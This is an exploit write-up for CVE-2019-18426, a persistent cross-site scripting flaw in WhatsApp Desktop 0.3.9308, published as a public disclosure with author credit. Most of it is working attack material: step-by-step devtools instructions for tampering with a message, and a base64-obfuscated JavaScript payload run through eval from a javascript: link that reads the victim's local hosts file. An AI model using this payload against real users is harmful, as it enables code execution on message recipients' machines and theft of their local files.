# Title: WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting# Date: 2020-01-21# Exploit Author: Gal Weizman# Vendor Homepage: https://www.whatsapp.com# Software Link: https://web.whatsapp.com/desktop/windows/release/x64/WhatsAppSetup.exe# Software Link: https://web.whatsapp.com/desktop/mac/files/WhatsApp.dmg# Version: 0.3.9308# Tested On: Mac OS, Windows, iPhone# CVE: https://nvd.nist.gov/vuln/detail/CVE-2019-18426// step 1: open WhatsApp Web and enter a conversation (Will only work on WhatsApp Web source code as compiled with version 0.3.9308)// step 2: open devtools and search in all files "t=e.id"// step 3: after prettifying,set a breakpoint at the line where "t = e.id" can be found
// step 4: paste "https://example.com" in the text box and hit "Enter"// step 5: when the code stops at the breakpoint, paste the following exploit code in the console and hit "Enter"var payload = `(async function(){
alert(navigator.userAgent);(async function(){// read "file:///C:/windows/system32/drivers/etc/hosts" content
const r = await fetch(atob('ZmlsZTovLy9DOi93aW5kb3dzL3N5c3RlbTMyL2RyaXZlcnMvZXRjL2hvc3Rz'));
const t = await r.text();
alert(t);}())}())`;
payload = `javascript:"https://example.com";eval(atob("${btoa(payload)}"))`;
e.__x_matchedText = payload;
e.__x_body = `
Innocent text
${payload}
More Innocent text
`;// step 6: press F8 in order for the execution to continue// result: a message should be sent to the victim that once is clicked will execute the payload above
// further information: https://github.com/weizman/CVE-2019-18426